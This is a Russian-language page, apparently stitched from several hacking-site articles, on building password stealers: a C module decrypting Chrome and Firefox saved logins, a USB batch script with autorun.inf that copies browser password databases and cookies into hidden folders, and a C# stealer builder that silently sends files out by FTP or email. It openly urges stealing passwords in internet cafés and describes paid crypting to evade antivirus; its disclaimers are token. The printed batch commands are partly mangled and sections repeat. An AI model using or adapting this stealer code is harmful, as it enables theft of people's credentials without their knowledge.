Как сделать собственный стиллер
Пишем стилер. Как вытащить пароли Chrome и Firefox своими руками
Содержание статьи
WARNING
Весь код в статье приводится исключительно в образовательных целях и для восстановления собственных утерянных паролей. Похищение чужих учетных или других личных данных без надлежащего письменного соглашения карается по закону.
Итак, браузеры, в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.
В примере модуля стилинга, который я приведу в статье, будет активно использоваться CRT и другие сторонние библиотеки и зависимости, типа sqlite.h. Если тебе нужен компактный код без зависимостей, придется его немного переработать, избавившись от некоторых функций и настроив компилятор должным образом. Как это сделать, я показывал в статье «Тайный WinAPI. Как обфусцировать вызовы WinAPI в своем приложении».
Что скажет антивирус?
Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом.
Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.
Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.
Chrome
Начнем с Chrome. Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:
Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).
База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.
Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Стиллер паролей для браузеров на Windows
Стиллер паролей для браузеров на Windows
Стиллер паролей – определенный класс вирусов, функционал которых состоит в том, чтобы украсть сохраненные пароли с компьютера и отправить их “автору”.
Метод, который мы будем использовать имеет как плюсы, так и минусы, без этого никуда.
Стиллер паролей для браузеров на Windows | Разбор плюсов и минусов
Давайте разберемся, почему такие плюсы и минусы имеет наш стиллер паролей для браузеров.
Думаю первые пару пунктов в разборе не нуждаются, а вот простота в доработке, давайте посмотрим почему.
Ниже будет код программы, там видно, что стиллер крадет пароли из 3 браузеров, Opera, Mozilla, Chrome. Если вы захотите сделать его более объемным и добавить все браузеры, то вам нужно просто найти их директории и прописать пути.
Далее мгновенный запуск. Создаём файл autorun.inf и добавляем наш anyname.bat туда. Как только вы вставите флешку в ПК, произойдёт кража и её можно сразу вытаскивать. Это займет у секунду времени, однако тут сразу и минус. Autorun.inf не запускается на Windows 8+, так что придётся запускать батник вручную. Точнее сказать, автоматический запуск стал невозможен с последнего обновления безопасности Windows 7.
Постоянное созданиеудаление autorun.inf – если вы вставите флешку в ПК, а потом пойдёте домой и у вас Windows 8.1 или ниже, то пароли обновятся из-за авторана. Чтобы этого избежать его нужно постоянно удалять, однако в нашем скрипте уже всё есть. Он будет удален автоматически после запуска.
Создаём стиллер паролей для браузеров
Для того, чтобы создать портативный стиллер паролей для браузеров нам понадобится только блокнот.
Создаём текстовый документ и пишем туда следующий код:
d0Google
CD/D %APPDATA%OperaOpera
copy /y wand.dat %
d0Opera
copy /y coockies.dat %
d0Opera
cd %AppData%MozillaFirefoxProfiles*.def-ault
copy /y coockies.sqlite %
d0Mozilla
copy /y key3.db %
d0Mozilla
copy /y signons.sqlite %
d0Mozilla
copy /y AppData%MozillaFirefoxProfiles*.def-ault %
d0Mozilla
cd %localappdata%GoogleChromeUser DataDefault
copy /y “%localappdata%GoogleChromeUser DataDefaultLogin Data” “%
Вы же можете его просто скопировать, сохраняем файл как anyname.bat. В коде видно, что сохраняются пароли из Mozilla, Opera, Chrome. Если вы хотите добавить ещё браузеры, требуется найти их директории и таким же образом добавить. Атрибуты, которые мы присвоили делают созданные папки скрытыми, чтобы никто ничего не заподозрил.
Теперь нужно создать файл autorun.inf со следующей командой:
Готово, теперь можете идти куда душа пожелает и воровать пароли, например в интернет-кафе или тому подобные места. Наш стиллер паролей для браузеров не является удалённым, из-за чего придётся ходить.
Открыть сохраненные пароли можно заменив краденые файлы cookies, базы данных и данные логина. Для удобства можно воспользоваться программой Password Web Views.
Сегодня мы поговорили о том, как создать стиллер паролей для браузеров, обсудили плюсы и минусы такого скрипта. Если вам понравилась статья, подписывайтесь на обновления сайта, а также наш Telegram.
Telegram
Подписывайтесь на официальный Telegram канал сайта Make Info.
Все о стиллерах: что это такое и как им пользоваться?
Ты наверняка слышал о таком классе зловредных приложений, как стилеры. Опытные игроки в онлайн-играх знают, что такое стиллер, как не словить его и даже как создать. Однако создание и распространение карается законом, поэтому лучше не заниматься таким. Так что же такое стиллер?
Компьютерный вирус — это программа, способная создавать свои копии, внедрять их в различные объекты или ресурсы компьютерных систем, сетей и производить определенные действия без ведома пользователя.
Стиллер – это вирусное программное обеспечение (ПО), которое используется с целью того, что бы украсть логины и пароли потенциальной жертвы.
Когда инфицированная программа начинает работу, то сначала управление получает вирус. Вирус заражает другие программы, а также выполняет запланированные деструктивные действия. Для маскировки своих действий вирус активизируется не всегда, а лишь при выполнении определенных условий (истечение некоторого времени, выполнение определенного числа операций, наступления некоторой даты или дня недели и т. д.).
Стиллер представляет собой программный код, который служит для хищения паролей и прочих данных с компьютера. Раньше данные отправлялись на сниффер, но сейчас уже активно по Интернету распространены коды, которые отправляют похищенное на почту.
Как защитить себя?
Для начала нужно поставить хороший антивирус, ведь он хоть как-то защищает. Без антивируса вы будете “ловить” все подряд. В Интернете часто пишут, что такое стиллер и как его создать, даже предоставляют программы для их создания. Но зачастую программы не работают, а в них самих есть стиллер. Каждый скачиваемый файл нужно проверить обязательно, чтобы не потерять свои данные. Также существуют программы, которые удаляют стиллер с компьютера. Рекомендуется еще проверять ПК на наличие вирусов с помощью специальных утилит, например, DrWeb Cure It.
В сети интернет мало информации о том, что такое «Стиллеры» и как ими пользоваться. Нужно помнить о том, что они создаются не просто так, ради забавы. Основной их целью является добыча полезной информации с компьютера жертвы для последующей продажи. Создавать и использовать «Стиллер» определенно не стоит, так как за это могут привлечь к ответственности, в том числе и к уголовной. Нужно остерегаться «Стиллера», максимально защитив свой компьютер и не качать файлы с неизвестных источников.
Храните ваши пароли в облаке, пароль от которого вы будете знать на память, это самый надежный способ защитить свои данные. Никогда не сохраняйте пароли и не используйте никакие автозаполнения форм, когда вы например используете обменники валют в автозаполнение могут попасть данные вашей карты, ваш номер телефона и e-mail.
Принцип работы вредоноса
Все эти данные приходят вам в админ-панель от стиллера, где указано с какого IP адреса и имени компьютера это все прилетело. Грубо говоря мы можем забрать все самое ценное, что может быть на компьютере.
После покупки вируса у хакеров вам, как правило, выдают готовую к использованию версию софта с доступом в админ-панель, к тому же дополнительно настраивать уже ничего не нужно. Пример панели на рисунке ниже.
Как создать свой стиллер?
Похищение чужих учетных или других личных данных без надлежащего письменного соглашения карается по закону.
Браузеры в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.
Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом. Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.
Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.
В чистом виде стиллер никто не распространяет – перед этим его криптуют (процесс наращивание на ваш файл лишней мишуры для избавления от детектов, криптования бывают очень разными. А вообще самый хороший вариант это чистить исходный код, но естественно вам его никто не покажет, если вы пользователь софта, а не его создатель. Услуги криптования стоят примерно 7-15 долларов, если их покупать. Обновлять крипт нужно в зависимости от того как и куда вы льете трафик.
Некоторые сканеры наращивают детекты, а некоторые – нет, но думаю об этом нет смысла писать, так как на момент прочтения информация может быть уже не актуальной. Также важной деталью будет то – что нельзя лить на любой файловый обменник, так как большинство популярных проверяют файлы на вирусы и это добавляет детектов.
И так! Вернемся к нашим браузерам…
Chrome
Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:
Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).
База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.
Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.
Эта функция имеет такой прототип:
Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об ошибке.
В этом цикле формируем BLOB (то есть большой массив двоичных данных). Далее выделяем память, читаем блоб и инициализируем поля DATA_BLOB :
После этого выделяем память и заполняем массив passwds расшифрованными данными.
Собственно, на этом все! После этого passwds будет содержать учетные записи пользователей и URL. А что делать с этой информацией — вывести ее на экран или сохранить в файл и отправить куда-то его — решать тебе.
Firefox
В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до папки пользователя. Дело в том, что имя папки пользовательского профиля генерируется случайно. Но это ерундовая преграда, ведь мы знаем начало пути ( \\Mozilla\\Firefox\\Profiles\\ ). Достаточно поискать в нем объект «папка» и проверить наличие в ней файла \\logins.json «. Именно в этом файле хранятся интересующие нас данные логинов и паролей. Разумеется, в зашифрованном виде. Реализуем все это в коде.
Все готово, но в случае с Firefox все не будет так просто, как с Chrome, — мы не сможем просто получить нужные данные обычным запросом SELECT, да и шифрование не ограничивается одной-единственной функцией WinAPI.
Дополнительная информация: Network Security Services (NSS)
Это функции инициализации механизма NSS и расшифровки данных. Давай напишем функцию расшифровки, она небольшая. Я добавлю комментарии, чтобы все было понятно.
Видеоролики из интернета по данной теме:
Вместо вывода 🙂
Что же такое стиллер, выяснили. Нужно остерегаться этого, защитить свой компьютер, не качать файлы с неизвестных источников. А так же мы разобрались, как хранятся пароли в разных браузерах, и узнали, что нужно делать, чтобы их извлечь. Можно ли защититься от подобных методов восстановления сохраненных паролей? Да, конечно. Если установить в браузере мастер-пароль, то он выступит в качестве криптографической соли для расшифровки базы данных паролей.
Stealer на C#. Мы уложились в 9 Кб исполнимого файла
Есть такой класс программ, призванных получать у пользователя конкретные (или какие угодно) файлы и направлять их специально уполномоченным людям. Конечно, с предварительного письменного согласия упомянутых пользователей! Этот класс программ называют Stealer. Самый яркий их представитель, UFR Stealer имеет симпатичный интерфейс, множество настроек и по какому-то недоразумению детектируется всеми известными антивирусами. А что было бы, если бы хакеры писали подобные программы на С#? Пофантазируем!
Для начала — соберись с духом и обновись наконец на бесплатную Visual Studio Community 2013 :). На дворе 2015 год, и сидеть на старой Visual Studio Express уже не круто. Как поставишь — загляни в раздел Extensions and updates и установи несколько полезных расширений, таких как Resharper или Productivity Power Tools 2013. Для анализа полученных сборок вполне подойдет бесплатный декомпилер dotPeek, это очень хорошая утилита, которая покажет, что там получилось, и может построить солюшен и файл с отладочными символами.
Кратко о программе
Ставим задачи и определяем требования
Итак, попробуем предположить, как хакеры размышляют на данном этапе. Для них проблема заключается в том, что у пользователя есть файлы, которые интересны не только ему. Возможно, юзер даже и не знает, что они существуют и где точно расположены, но от этого хакерам легче не становится. Надо каким-то образом получить их копию и посмотреть, что внутри, — кто знает, может быть, это именно то, что нужно?
Чтобы своими действиями не беспокоить пользователя, не прерывать его сериалы и не мешать общению в социальных сетях, хакеры добавляют в свои программы определенный функционал. Их программы имеют небольшой размер и молча выполняют свою работу (silent mode). Целевой платформой на сегодняшний день обычно выбирают Windows 7 и более старшие версии. XP — дело хорошее, но она сдает позиции, и, по данным одного известного антивирусного разработчика, ее доля на конец 2015 года составит всего 16–17%.
Проектируем и конструируем
Solution Explorer
Основная идея этого класса заключается в формировании структуры алгоритма, который уже будет реализован в Google Chrome, ICQ, Skype и так далее.
Да, небольшое дополнение. В данном примере логика работы приложения находится внутри разделяемого класса Form, если хочется дополнительно реализовать консольный или WPF-интерфейс, то ее следует вынести отдельно и подписаться на группу ожидаемых событий. Подробнее про правильную архитектуру можно почитать у Стива Макконнелла (Code complete).
Интерфейс
MainForm
На созданном в дизайнере окне накидывается меню, три комбобокса, две кнопки, шесть текстбоксов с лейблами и одиннадцать чекбоксов. Примерная группировка и расположение этих элементов показана на картинке. Стиль окна выставляется в «диалог», чтобы его нельзя было развернуть на весь экран. Иконка по вкусу, в сети есть архивы с тысячами экземпляров на любой вкус. Подписка будет реализована на три события, а именно на нажатие на копки Check all, BUILD и пункт меню «&OpenFile. ». На этом дизайн визуальной части приложения заканчивается, двигаемся дальше.
Код под кнопками мог бы быть весьма тривиальным, но, как говорится, не тут-то было. Выдержка из BUILD:
Стандартными средствами пройтись по коллекции активных чекбоксов возможно, но зачем писать так просто, когда есть красивые решения на страницах Stack Overflow? Это и объясняет появление дополнительного пространства имен для подсмотренного метода расширения, где он и расположен (по совету Трея Нэша в книге Accelerated C# 2010). Фишка этого решения также в том, что все классы, реализующие абстракцию, являются вложенными ресурсами приложения (далее показано, как это сделать) и имеют то же имя, что и текст на чекбоксах. Поэтому всего-то нужно пробежаться по всем активным элементам и собирать их имена, попутно добавляя в коллекцию и заменяя метку в классе стаб, //[Add_toList] для добавления в List и //[Class] для определения самих классов. Адрес FTP, пароль, логин и данные для почты реализованы стандартно — получил текст с элемента управления и вставил в стаб.
Получение самих ресурсов происходит следующим образом. Создается экземпляр var assembly = Assembly.GetExecutingAssembly(), и в потоке Stream stream = assembly.GetManifestResourceStream(resourceName) происходит чтение данных до конца и возврат строки текста. Переменная resourceName имеет значение @«Stealer.STUB.Stub.cs» что соответствует полному пути расположения указанного файла. Аналогичным образом ведется работа с другими элементами решения, в коде эта строка выглядит так: «@«Stealer.Targets.<0>.cs», className», где className — это имя класса и текст на чекбоксе.
Задача кнопки Check all сводится к управлению галочками сразу на всех целях. Реализуется это через приватное поле класса Form булева типа и один метод, который принимает это значение в качестве аргумента, применяя его к каждому чекбоксу. На обработчике события считывается значение указанного поля и передается методу, по завершению его работы оно меняется на противоположное.
Это класс, который будет скомпилирован в отдельную исполняемую сборку с помощь экземпляра CSharpCodeProvider и метода CompileAssemblyFromSource. Для того чтобы он стал доступным для чтения в рантайме, нужно в его параметрах (F4) указать Build Action = Embedded Resource, а строкой ниже Do not copy. Чтобы студия не ругалась на два метода Main, в настройках проекта указывается Startup object = Stealer.Program, это на тот случай, когда класс «Стаб» не является ресурсом и можно провести анализ кода на наличие ошибок. Теперь давай посмотрим на пример кода.
В листинге не отображены методы SendViaFtp и SendViaEmail, примеры которых будут показаны далее, метод Encrypt (на самом деле конкретная реализация не имеет значения, выбирается любой симметричный алгоритм), класс AbstractFile и поля класса, которые будут хранить в себе логины, пароли а также ключи шифрования. На этом все, больше ничего интересного и нового в стабе нет.
Алгоритм получения файлов
Благодаря паттерну «Шаблонный метод» проектировать классы для поиска и получения файлов стало очень просто, можно добавлять десятки новых, и при этом не потребуется вносить никаких изменений в использующий их код, то есть стаб. Вызывающей стороне все равно, что и как реализовано внутри, называется это дело абстрагированием вариантов исполнения. Для примера посмотрим на реализацию класса GoogleChrome, из названия которого можно догадаться о том, что именно он должен найти и скопировать.
Метод ToString переопределен для того, чтобы словарь из стаба было удобнее заполнять и анализировать при получении. Другие классы по поиску файлов выглядят идентично, разница лишь в пути и, возможно, наличии дополнительных проверок в зависимости от типа хранения. Чтобы не забыть, какие методы надо реализовать от унаследованного класса, или просто сократить время клавиатурного ввода, на AbstractFile можно нажать мышкой и подождать появления подсказки implement abstract class, которая автоматически построит нужный код.
Программирование без напряга
Узнать, сколько всего можно дописать в программе без особых усилий и как сэкономить кучу времени на личных исследованиях, хакерам помогает ресурс Password Secrets of Popular Windows Applications, на нем заботливо выложена информация о расположении интересующих файлов и утилит для анализа.
Алгоритм отправки файлов
SendViaFTP
Как видно на картинке главной формы приложения, в этой части будет обсуждаться пример реализации отправки по FTP и email. Начнем с первого. В конструкторе FtpWebRequest задается URL из текстбокса главной формы, который был вставлен на свою метку в стабе. К нему также добавляется имя передаваемого файла, в качестве которого используется Environment.UserName в связке с Path.GetRandomFileName. Это сделано с той целью, чтобы пользователи с одинаковыми именами не перезатирали друг друга. Метод транспортировки устанавливается в WebRequestMethods.Ftp.UploadFile, и указывается NetworkCredential(_ftpUser, _ftpPass) по аналогии с URL. Работоспособность метода проверяют на локальном FTP, для этого был использован smallftpd 1.0.3.
SendViaEmail
С почтой поначалу возникали некоторые проблемы, а все из-за изменений в правилах подключения (подробнее можно почитать здесь: «Использование SmtpClient для отправления почты через SMTP-сервер»). Формирование письма начинается с вложения, и, так как в метод для отправки передается массив байтов, а конструктор Attachment ждет MemoryStream, переводим его в MemoryStream в начале метода, используя директиву using. Имя файла задается аналогично FTP. В самом сообщении MailMessage инициализируются свойства From, Subject, Body, Sender, To, и завершает эстафету вызов Attachments.Add(attachment), добавляя созданное вложение. Далее следует экземпляр SmtpClient, который заполняется аналогично сообщению. И наконец, строка smtpClient.Send(mail); отправляет сформированное письмо на почтовый сервер.
Заключение
Сегодня мы пофантазировали на тему, как мог бы выглядеть Stealer на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Замечу, что в ходе экспериментов мой антивирус начал подавать сигнал тревоги, только когда был добавлен метод Encrypt, до этого программа могла отправлять файл по FTP куда угодно. С появлением опции отправки по почте имя определяемой «малвари» изменилось на «троян»… а вот про то, как с этим борются хакеры, читай в предыдущих выпусках ][ в статье про крипторы :).